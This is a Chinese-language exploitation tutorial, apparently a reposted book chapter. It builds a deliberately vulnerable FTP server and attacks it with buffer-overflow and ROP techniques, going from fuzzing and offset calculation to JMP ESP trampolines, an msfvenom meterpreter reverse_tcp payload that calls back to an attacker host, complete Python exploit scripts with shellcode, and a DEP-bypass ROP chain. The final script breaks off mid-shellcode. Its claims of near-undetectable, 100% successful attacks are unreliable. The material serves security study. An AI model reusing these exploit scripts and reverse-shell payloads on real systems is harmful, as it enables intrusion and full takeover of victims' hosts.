主頁 > 企業開發 > 5.2 基于ROP漏洞挖掘與利用

5.2 基于ROP漏洞挖掘與利用

2023-07-13 08:24:38 企業開發

通常情況下堆疊溢位可能造成的后果有兩種,一類是本地提權另一類則是遠程執行任意命令,通常C/C++并沒有提供智能化檢查用戶輸入是否合法的功能,同時程式撰寫人員在撰寫代碼時也很難始終檢查堆疊是否會發生溢位,這就給惡意代碼的溢位提供了的條件,利用溢位攻擊者可以控制程式的執行流,從而控制程式的執行程序并實施惡意行為,本章內容筆者通過自行撰寫了一個基于網路的FTP服務器,并特意布置了特定的漏洞,通過本章的學習,讀者能夠掌握漏洞挖掘的具體流程,及利用方式,讓讀者能夠親自體會漏洞挖掘與利用的神奇魔法,

堆疊溢位是緩沖區溢位中最為常見的一種攻擊手法,其原理是,程式在運行時堆疊地址是由作業系統來負責維護的,在我們呼叫函式時,程式會將當前函式的下一條指令的地址壓入堆疊中,而函式執行完畢后,則會通過ret指令從堆疊地址中彈出壓入的回傳地址,并將回傳地址重新裝載到EIP指令指標暫存器中,從而繼續運行,然而將這種控制程式執行流程的地址保存到堆疊中,必然會給堆疊溢位攻擊帶來可行性,

5.2.1 溢位是如何產生的

通常情況下C語言中提供了一系列的標準函式,這些標準函式如果使用不當則會造成意想不到的后果,例如strcpy()函式如果讀者在編程時沒有檢查用戶輸入資料有效性,則將會產生嚴重的溢位后果,如下提供一種簡單的具有漏洞的代碼片段,以幫助讀者理解漏洞的產生原因及利用技巧,首先讀者需要將代碼保存為overflow.c檔案;

#include <stdio.h>
#include <string.h>

void geting(char *temp)
{
    char name[10];
    strcpy(name, temp);
    printf("input name = %s \n", name);
    printf("input size = %d \n", strlen(name));
}

int main(int argc,char *argv[])
{
    geting(argv[1]);
    return 0;
}

請自行打開VS編譯器中的開發人員命令提示,然后執行cl /Zi /GS- overflow.c編譯并生成可執行檔案,引數中的/GS-就是關閉當前的GS保護,

上述案例就是利用了strcpy()函式的漏洞從而實作溢位的,程式運行后用戶從命令列傳入一個引數,該引數的大小是不固定的,傳入引數后由內部的geting()函式接收,并通過strcpy()函式將臨時資料賦值到name變數中,最后將其列印出來,很明顯代碼中并沒有對用戶輸入的變數進行長度的限定,而正是因為如此從而導致緩沖區溢位漏洞的產生,

我們開始分析程式,由于overflow.exe程式需要命令列傳參分析,所以讀者應該將overflow.exe程式復制到x64dbg除錯器目錄下,并在CMD中執行;

我們需要在命令列界面中來啟動除錯器,其中第一個引數overflow.exe就是程式名,第二個引數是傳入的命令列引數,我們知道緩沖區長度是10個字符,為了能夠讓程式產生溢位,此處輸入的資料必須要大于10個位元組,這里我就輸入一串lysharkAAAAAAAAABBBB字串,如下圖所示,當程式被運行時EDX暫存器指向的則是我們自定義輸入的字串,由于要呼叫CALL指令,此處的CALL指令代表的是geting函式,所以需要將EDX字串壓堆疊存盤,而在進入geting函式之前,CALL指令需要將自身下一條指令壓堆疊存盤,但此時由于我們輸入的資料大與堆疊地址所能容納的最大值,因此在壓堆疊時勢必會造成覆寫堆疊空間的情況產生;

接著我們繼續進入到geting函式的內部,當該函式被執行時首先第一步則是在堆中取出字串并列印,而當函式呼叫到Ret回傳時此時程式會在堆疊中取出回傳地址填充之EIP指標中,但此時的早已被AAAA所覆寫,

我們來看一下當前堆疊中的資料,可以看到在程式呼叫Ret時,EIP一定會被填充為一串毫無意義的42424242的記憶體地址,而當這段連續的A被替換成ShellCode的反彈地址時則此時將會發生可怕的事情,

至此我們還差一個關鍵的跳轉步驟,上圖中的424242我們需要填充為一個能夠跳轉到當前堆疊中的跳轉指令地址,這類跳板指令可以使用jmp espcall esp指令,因為我們的ShellCode在堆疊中存盤著,為了能執行這段惡意代碼,我們需要將42424242替換為具有Jmp ESP功能的指令片段,來讓其能夠跳轉到堆疊中,

在x64dbg除錯器中此類指令集的搜索很容易實作,讀者可通過Ctrl+B指令調出特征碼搜索功能來實作搜索,本例中我們搜索kernelbase.dll模塊,并在其中尋找Jmp ESP指令集,需要注意的是此類指令集的機器碼為FF E4當然如果是Call ESP則特征值為FF D4如果有其它需求讀者可自行轉換,

為了實作搜索特征碼讀者需要切換到kernelbase.dll模塊,通過在記憶體布局中點擊.text節即可完成切換,當然如果其他模塊中存在此類特征也是可以使用的,選擇此模塊是因為此模塊中存在,

接著按下Ctrl+B輸入FFE4特征碼,實作搜索功能,如下圖所示,其中的三個地址都是可以被利用的跳板;

此時我們以0x7537829C為例,為了模擬這個流程修改堆疊中的0x424242420x7537829C則當程式回傳時會自動跳轉到0x7537829C地址處;

0x7537829C地址為Jmp ESP指令,也就是指向了當前的記憶體堆疊地址;

當程式被執行此跳板時,則會跳轉到當前堆疊的記憶體區域,而如果此處是攻擊者構造好的一塊惡意ShellCode代碼,則將會實作反彈后門的目的,并以此獲取主機的完全控制權;

至此一個簡單的緩沖區溢位漏洞就分析完畢了,經過分析可知,我們的ShellCode惡意代碼應該這樣構建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode

這里的A代表的是正常輸入內容,其作用是正好不多不少的填充滿這個緩沖區
這里的B代表的是Jmp Esp的機器指令,該處應該為0x7537829C
這里的N代表Nop雪橇的填充,一般的20個Nop左右就好
這里的ShellCode就是我們要執行的惡意代碼

由上面的關鍵點可以總結出最終的輸入方式,程式運行后會先跳轉到Jmp Esp并執行該指令,然后Jmp Esp會跳轉到Nop雪橇的位置,此時程式的執行流會順著Nop雪橇滑向ShellCode惡意代碼,當惡意代碼被執行則攻擊者即可獲取到反彈權限,

  • Ax16 + jmp esp + nopx20 + ShellCode

至此讀者可通過上述總結構建出如下所示的漏洞利用代碼片段,此時呼叫overflow.exe則會實作反彈后門的功能,也就預示著攻擊成功了;

import os

os.system(b"overflow.exe
    AAAAAAAAAAAAAAAA
    \x75\x37\x82\x9c
    \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
    \xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
)

5.2.2 漏洞分析與挖掘

在前面的簡單分析中詳細讀者已經能夠理解緩沖區溢位是如何產生又是如何利用的了,為了演示遠程堆疊溢位攻擊的具體手法以及二進制漏洞挖掘與利用的思路,這里筆者撰寫了FTPServer遠程服務程式,該服務運行后會在本機開啟0.0.0.0:9999埠,讀者可以通過netcat工具遠程連接到服務器并可以執行一些基本的命令,

如上圖就是運行后的FTP服務器,通過netcat工具鏈接服務端的地址nc 192.168.9.118 9999可以得到一個FTP互動環境,此時可以執行send | hello world命令,來向服務器發送一段字串,同時服務器會回傳給你Data received successfully這樣的提示資訊,如下圖所示;

要執行漏洞挖掘第一步則是要從分析資料包開始,這里使用了WireShark工具,Wireshark 是一款免費的網路分析軟體,它可以用于捕獲、分析和解釋網路通信資料,它可以讀取多種網路協議,包括TCP、UDP、HTTP、DNS等,并將它們以圖形化的形式顯示出來,從而幫助用戶更直觀地理解網路流量,Wireshark還支持許多強大的分析功能,如協議分析、流量分析等,它是一個功能強大、易用的網路分析工具,

如果讀者使用了Kali系統,則默認會安裝有該工具,請讀者打開Kali選單欄,并找到嗅探/欺騙選單并點擊WireShark則可啟動該軟體;

當軟體被啟動后,讀者可通過點擊頁面中的eth0網卡來實作監控資料包的功能,執行模糊測驗的第一步就是要確定發送資料包中包頭的格式,通過Wireshark工具監控TCP流,將源地址設定為本機的192.168.9.135目標地址設定為192.168.9.118,設定過濾陳述句,監控并從中得到資料傳輸的格式資訊,

  • 過濾陳述句:tcp.stream and ip.src_host==192.168.9.135 and ip.dst_host==192.168.9.118

此時讀者再次執行send | hello lyshark并在此時會抓取到一些資料包,通過對資料包的分析與提取最終確定如下內容,內容中則包含了發送到服務端的具體資料格式,

上圖中我們可以直觀的看出,資料包的格式僅僅是send | hello lyshark并沒有添加任何的特殊符號,更沒有加密傳輸,接下來就是要驗證對端是否存在緩沖區溢位了,這里我們需要撰寫一個模糊測驗腳本來對目標服務進行測驗,腳本內容如下,該腳本執行后會對目標FTP服務進行發包測驗,每次遞增1不斷嘗試,

具體來說,它使用socket模塊創建一個TCP套接字,然后連接到指定的IP地址和埠號,發送一系列的緩沖區(payload)并觀察程式的行為,如果程式崩潰或出現例外,則說明發現了漏洞,

下面是代碼的主要功能:

  • initCount(count, Inc):該函式用于初始化緩沖區,回傳一個包含多個字串的串列,這些字串遞增地包含 A 字符,每個字串的長度遞增 count,直到長度超過 50 個字符,count 的初始值為 0,每次遞增量為 Inc,
  • Fuzz(addr, port, buffer):該函式對指定的 IP 地址和埠號執行模糊測驗,它遍歷緩沖區中的所有字串,并嘗試連接到目標主機,發送字串并等待一段時間,如果發送的字串長度超過了目標應用程式能夠處理的最大長度,則函式會捕獲例外并提示,函式回傳 None,
# coding:utf-8
import socket,time

def initCount(count,Inc):
    buffer = ["A"]
    while len(buffer)<=50:
        buffer.append("A" * count)
        count = count + Inc
    return buffer

def Fuzz(addr,port,buffer):
    try:
        for string in buffer:
            sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            connect = sock.connect((addr,port))
            sock.recv(1024)
            command = b'send |/.:/' + string.encode()
            sock.send(command)
            sock.close()
            time.sleep(1)
            print('Fuzzing Pass with {} bytes'.format(len(string)))
    except Exception:
        print('\n This buffer cannot exceed the maximum {} bytes'.format(len(string)))

if __name__ == "__main__":
    # initCount 10 說明從0開始遞增,每次遞增100
    buff = initCount(0,100)
    Fuzz("192.168.9.118",9999,buff)

上方的代碼的構造需要具體分析資料包的形式得到,在漏洞模糊測驗中上方代碼中間部分的互動需要根據不同程式的互動方式進行修改與調整,這里測驗腳本執行后當緩沖區填充為2100bytes時程式崩潰了,說明該程式的send函式確實存在緩沖區溢位漏洞,其次該程式緩沖區的大小應在2100-2200位元組以內,

由于模糊測驗時程式發生了崩潰現象,我們可知該程式確實存在溢位漏洞,為了能讓讀者更加深入的理解緩沖區發生的原因和定位技巧,筆者將具體分析其匯編代碼的組織形式,這里為了方便演示我將在被攻擊主機進行逆向分析,

首先被攻擊主機打開x64dbg將FTP程式載入并運行,接著我們按下Ctrl + Grecv函式上下一個斷點,因為程式接收用戶輸入的功能需要使用recv函式的,所以這里我們直接下斷,然后運行程式,在客戶端發送資料send | hello lyshark后會被斷下,由于我們將斷點下在了ws2_32.dll模塊內,此時需要運行到該模塊回傳,并跳出該系統模塊,

直接回到程式領空,會看到如下圖所示的代碼片段,這里我們需要在0x0040148D這個記憶體地址處下一個F2斷點,然后取消系統領空中recv上的斷點,

通過再次發送send | hello lyshark程式會被斷下,我們單步向下跟進會發現下面的代碼片段,這里正是我們的send函式所執行的區域,此處我們記下這個記憶體地址0x004017D5 觀察反匯編代碼可知,0x4017DB位置處分配了記憶體長度為BB8的區域,并直接呼叫memset函式完成了記憶體填充,這里由于沒有嚴格的過濾檢查所以會產生緩沖區溢位問題;

為了能夠更加明確的確定此處產生問題的根源,我們還需要使用IDA這款靜態分析軟體,打開IDA Pro加載程式并按下G鍵,來到0x4017DB記憶體地址處,如下圖所示;

并分析如下代碼片段,此處的溢位點為_Function3函式的內部,在傳入引數時將分配的變數3000個位元組的緩沖區,直接傳遞給了_Function3函式,此處是犯下的第一個錯誤,當然如果開發者在_Function3函式內部進行了補救這個錯誤也不會致命;

接著我們繼續跟進這個call _Function3函式,會發現子程序內部并沒有對接識訓沖區大小進行嚴格的過濾,強制將3000byte的資料拷貝到2024byte的緩沖區中,此時緩沖區就會發生溢位,從而導致堆疊失衡程式崩潰,這和上方的模糊測驗腳本得到的結果是差不多的,至此唯的補救機會已經失去了;

為了能夠更加精確的計算出緩沖區的具體大小,我們還需使用Metasploit中集成工具,該工具默認需要一起配合使用,其原理就是利用了隨機字串計算當前字串距離緩沖區首部的偏移,通過使用唯一字串法,我們可以快速定位到當前緩沖區的實際大小,要使用Metasploit的工具需要先配置好環境變數,你可以先執行以下操作,然后再利用pattern_create.rb生成長度為3000位元組的字串,

┌──(lyshark?kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit                                                                                 

┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ bundle install

┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 3000

當讀者執行pattern_create.rb生成模糊測驗字串時,接著讀者需要準備要一段可發送這段字串的Python程式,并將字串填充至buffer變數內,構建出如下所示的代碼用例;

# coding:utf-8
import socket

host = "192.168.9.118"
port = 9999

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字串填充到這里>'

sock.send(command + buffer)
sock.close()

當讀者填充好資料以后,遠程主機再次通過x64dbg附加,并運行如上放所示的攻擊腳本,此時除錯器會產生一個例外,并且顯示當前EIP的位置為0x6F43376F如下圖所示;

接著讀者可以通過使用Metasploit中提供的第二個工具pattern_offset.rb計算出當前緩沖區的實際大小是2002接著就可以寫出漏洞利用的基礎框架,其中的EIP是一個未知數,我們暫且先用BBBB來填充,此時的BBBB所對應的是42424242

┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002

至此讀者可根據上述代碼案例寫出如下所示的Python代碼,其中command為發送資料包所需要的特有格式,buffer則填充為2002位元組也就是正常緩沖區的長度,接下來則是EIP的位置,此處暫且使用BBBB代替,最后是NOP雪橇的50個字符長度,

# coding:utf-8

import socket
host = "192.168.9.118"
port = 9999

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'\x90' * 50 

sock.send(command + buffer + eip + nops)
sock.close()

當我們再次執行這個溢位腳本時,對著會發現FTP服務器的EIP指標已經被替換成了42424242也就是替換為了BBBB的機器碼格式;

而再看堆疊中的資料,此時也已經被90909090就是Nop雪橇,以及我們精心構造的資料填充滿了;

這說明我們的預測與分析完全正確,此時針對該漏洞的分析作業就結束了;

5.2.3 尋找JMP跳板指令

在上面環節中我們已經確定了填充物的大小,但程式每次運行其堆疊地址都是隨機變化的,這是因為堆疊空間默認是由作業系統調度分配的每次分配都不會一致,在Windows漏洞利用程序中,由于程式的裝入和卸載都是動態分配的,所以Windows行程的函式堆疊幀可能產生移位,即ShellCode在記憶體中的地址是動態變化的,因此需要Exploit(漏洞利用代碼)在運行時動態定位堆疊中的ShellCode地址,

此時我們需要尋找一個跳板,能夠動態的定位堆疊地址的位置,在這里我們使用jmp esp作為跳板指標,其基本思路是,使用記憶體中任意一個jmp esp地址覆寫回傳地址,函式回傳后被重定向去執行記憶體中jmp esp指令,而ESP暫存器指向的地址正好是我們布置好的nop雪橇的位置,此時EIP執行流就會順著nop雪橇滑向我們構建好的惡意代碼,從而觸發我們預先布置好的ShellCode代碼,

選擇利用模塊: 首先通過x64dbg除錯器附加FTP程式,然后選擇符號選單,這里可以看到該服務程式加載了非常多的外部DLL庫,我們可以隨意選擇一個元件跳轉過去,這里為了通用我就選擇 network.dll 這個模塊作為演示,模塊的選擇是隨機的,只要模塊內部存在 jmp esp 指令或者是能夠跳轉到nop雪橇位置的任何指令片段均可被利用,

搜索JMP跳板: 接著在除錯器的反匯編界面中,按下Ctrl + F搜索該模塊中的jmp esp指令,因為這個指令地址是固定的,我們就將EIP指標跳轉到這里,又因esp暫存器存盤著當前的堆疊地址,所以剛好跳轉到我們布置好的nop雪橇的位置上,如下圖我們就選擇 625011ED 這個代碼片段,

5.2.4 組合腳本并攻擊

至此針對本應用程式的漏洞挖掘與分析就分析完成了,既然所有條件都滿足了接下來就是生成漏洞利用代碼了,這里我們可以通過MSF提供的msfvenom命令快速的生成一個32位的有效攻擊載荷,并將其與我們得到的記憶體地址進行組裝,需要注意的是此處指定的lhost是攻擊主機的IP地址,此處指定的lport需要開啟一個與9999埠不沖突的埠,并最后生成Python格式的攻擊載荷;

┌──(lyshark?kali)-[~]
└─$ msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.9.135 lport=8888 -f python

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf =  b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
[省略符]
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"

如上所示,既然有了攻擊載荷,接下來則是將生成的ShellCodePython攻擊腳本相結合,此時讀者需要注意host=192.168.9.118指定的是被攻擊主機的IP地址,此處的command代表的是默認發包是所遵循的發包格式,此處的buffer代表正常的填充物,此處的EIP則代表Jmp ESP的實際跳轉地址,此處nops是NOP雪橇,最后通過command + buffer + eip + nops + buf將攻擊載荷進行組裝,即可寫出如下所示的完整攻擊代碼;

# coding:utf-8

import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"      # 發送資料包頭
buffer = b'A' * 2002         # 實際緩沖區填充物
eip = b'\xED\x11\x50\x62'    # 此處就是EIP跳轉地址地址應該反寫
nops = b'\x90' * 50          # nop雪橇的位置

buf =  b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"

sock.send(command + buffer + eip + nops + buf)
sock.close()

最后讀者使用Metasploit框架的命令列界面來配置一個攻擊,該代碼使用了exploit/multi/handler模塊,該模塊是Metasploit框架中的一個通用攻擊模塊,用于監聽反向連接,代碼中set payload命令來設定攻擊的有效載荷,本例中使用的是 windows/meterpreter/reverse_tcp最后使用set設定主機IP及PORT埠,最后執行exploit命令啟動偵聽器,等待反彈;

┌──(lyshark?kali)-[~]
└─$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.9.135
msf exploit(multi/handler) > set lport 8888
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.9.135:8888

當一切準備就緒之后我們運行fuck.py攻擊腳本,此時即可得到目標主機的完全控制權,當下目標主機已經淪為肉雞任人宰割,

上方筆者所演示的就是典型的基于記憶體的攻擊技術,該技術的優勢就是幾乎很難被發現,100%的利用成功率,記憶體攻擊技術就是利用了軟體的安全漏洞,該漏洞的產生表面上是開發人員沒有對緩沖區進行合理的檢測,但其根本原因是,現代計算機在實作圖靈模型時,沒有在記憶體中嚴格區分資料和指令,這就存在程式的外部輸入很有可能被當作指令來執行,當今任何作業系統都很難根除這種設計缺陷(圖靈機特性),只能在某種程度上通過引入特殊的技術(DEP保護機制)去阻止黑客的成功利用,

5.2.5 ROP繞過DEP保護

筆者前期提到過,緩沖區溢位的根本原因就是錯誤的將用戶輸入的惡意資料當作了指令來執行了從而導致發生溢位,因此微軟推出了基于軟體實作的DEP保護機制,其原理就是強制將堆疊屬性設定為NX不可執行,而在后期AMD也首次推出了基于硬體實作的CPU處理器,從而很大程度上解決了這類溢位事件的發生,

而隨著DEP技術的出現,黑客們就研究出了另一種繞過的措施,就是本次所提到的ROP回傳導向編程,在微軟系統中有這樣的一些函式他們的作用就是可以將堆疊設定為可讀可寫可執行屬性(VirtualProtect)之所以會出現這些函式是因為,有些開發人員需要在堆疊中執行代碼,所以也不可能將這樣的功能徹底去掉,

既然無法直接執行堆疊上的代碼,但是代碼段依然是可以被執行的,我們可以經過呼叫末尾帶有RET指令的微小片段,而他們會回傳到堆疊,并再次呼叫令一塊片段,以此類推,眾多的小片段就可以完成呼叫VirtualProoect函式的功能,從而將當前堆疊設定為可執行,這樣堆疊中的代碼就可以被執行下去,

關于VirtualProoect函式,該函式用于更改指定記憶體區域的保護屬性,函式的函式原型如下:

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flNewProtect,
  PDWORD lpflOldProtect
);

該函式有四個引數:

  • lpAddress:指向目標記憶體區域的指標,
  • dwSize:要更改保護屬性的記憶體區域的大小,以位元組為單位,
  • flNewProtect:請求的新保護屬性,
  • lpflOldProtect:一個指向變數的指標,用于保存舊的保護屬性,

回傳值為 BOOL 型別,如果函式成功執行,則回傳非零值,否則回傳零,

需要注意的是:在構建ROP鏈的時候,如果RET回傳之前是一個影響堆疊的指令,那么我們就需要在ROP堆疊鏈的下方手動填充一些墊片來中和掉POP等指令對堆疊的影響,因為下一條指令也會從堆疊中取值,如果不中和掉這些無用代碼的影響則ROP鏈將無法被正常執行,比如如下圖這條代碼POP ECX影響了堆疊,如果不是我們所需要呼叫的引數,那么我們就在他的下面填充一些填充物來中和一下,

但讀者應該明白,這里所說的繞過DEP保護其實并不完善,其實我們并無法繞過,而僅僅只是尋找沒有開啟DEP保護的模塊作為跳板使用,并依附于這些跳板指令構造出能夠呼叫VirtualProtect函式的指令集,當該指令被呼叫,則自然DEP保護可以被關閉,在找到模塊之前,必須判斷哪些模塊可以被使用,這里讀者是否想到了LyScript插件中的掃描功能,如下代碼將可以幫助讀者以最快的速度驗證當前行程中是否有我們所需模塊;

from LyScript32 import MyDebug
import pefile

if __name__ == "__main__":
    # 初始化
    dbg = MyDebug()
    dbg.connect()
    
    # 得到所有加載過的模塊
    module_list = dbg.get_all_module()
    for module_index in module_list:
        # 依次讀入程式所載入的模塊
        byte_array = bytearray()
        for index in range(0, 4096):
            read_byte = dbg.read_memory_byte(module_index.get("base") + index)
            byte_array.append(read_byte)

        oPE = pefile.PE(data=https://www.cnblogs.com/LyShark/archive/2023/07/12/byte_array)
        # 資料不可執行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
        if ((oPE.OPTIONAL_HEADER.DllCharacteristics & 256) != 256):
            print("{:15}\t\t".format(module_index.get("name")), end="")
            print("可利用\t\t\t",end="")

        print()
    dbg.close()

FTPServer.exe拖入除錯器內,并執行上方腳本,則可輸出當前沒有開啟DEP保護的模塊,例如代碼中我故意編譯進去了network.dll模塊,該模塊就沒有開啟DEP保護,那么就可被利用;

接下來就是構建一條可以實作關閉DEP記憶體保護的匯編指令集,如下所示則是通過匯編語言呼叫virtualProtect的ROP鏈;

ret
pop eax
0xfffffcdf
add ebp, eax
pop eax
0xfffffdff
neg eax
pop ebx
0xffffffff
inc ebx
add ebx, eax
pop edx
0xffffffc0
neg edx
pop ecx
&writetable
pop edi
ret (rop nop)
pop esi
jmp [eax]
pop eax
ptr to virtualProtect()
jmp esp

讀者可通過使用LyScript插件實作對這些記憶體地址的列舉搜索,以搜索network.dll模塊為例,讀者需要找到模塊開始地址0x62501000以及模塊的結束地址0x62501fff - start_address并通過呼叫get_disasm_code反匯編代碼片段,通過SearchOpCode()函式回圈搜索ROP指令片段,這段搜索代碼如下所示;

from LyScript32 import MyDebug

def SearchOpCode(OpCodeList,SearchCode,ReadByte):
    SearchCount = len(SearchCode)
    for item in range(0,ReadByte):
        count = 0
        OpCode_Dic = OpCodeList[ 0 + item : SearchCount + item ]
        try:
            for x in range(0,SearchCount):
                if OpCode_Dic[x].get("opcode") == SearchCode[x]:
                    count = count + 1
                    if count == SearchCount:
                        return OpCode_Dic[0].get("addr")
        except Exception:
            pass

if __name__ == "__main__":
    dbg = MyDebug()
    connect_flag = dbg.connect()

    # 得到檢索地址
    start_address = 0x62501000
    end_address = 0x62501fff - start_address

    disasm_dict = dbg.get_disasm_code(start_address,end_address)

    # 快速查找構建漏洞利用代碼
    SearchCode = [
        ["ret"],
        ["pop eax","ret"],
        ["add ebp,eax","ret"],
        ["pop eax","ret"],
        ["neg eax","ret"],
        ["pop ebx","ret"],
        ["inc ebx","ret"],
        ["add ebx,eax", "ret"],
        ["pop edx", "ret"],
        ["neg edx", "ret"],
        ["pop ecx", "ret"],
        ["ret"],
        ["pop esi", "ret"],
        ["jmp [eax]", "ret"],
        ["pop eax", "ret"],
        ["jmp esp", "ret"],
    ]

    # 檢索記憶體指令集
    for item in range(0,len(SearchCode)):
        Search = SearchCode[item]
        ret = SearchOpCode(disasm_dict,Search,1000)
        if ret != None:
            print("指令集: {} --> 首次出現地址: {}".format(SearchCode[item],hex(ret)))

    dbg.close()

運行上述插件則可掃描出當前network.dll模塊內所有匹配的記憶體地址,并輸出如下圖所示的掃描結果;

接著再掃描一下msvcr71.dll模塊內的ROP指令片段,并輸出如下圖所示的掃描結果;

需要注意的是,單純在這兩個模塊內搜索是無法構建出這段特殊指令集的,讀者可自行更換模塊對模塊批量尋找,此處只是為了演示LyScript插件的使用細節;

筆者已經將ROP鏈構建好了,當然手動構建并不是最好的選擇,除了使用LyScript插件搜外,讀者也可以使用mona.py插件自動化完成這個程序,mona.py插件是專門用戶構建有效載荷的工具,其構建陳述句是!mona.py rop -m *.dll -cp nonull這里我就不在羅嗦了,直接給出構建好的ROP指令片段吧;

# coding:utf-8

import socket
import struct

host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"      # 發送資料包頭
buffer = b'A' * 2002         # 實際緩沖區填充物
nops = b'\x90' * 50          # nop雪橇的位置

buf =  b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
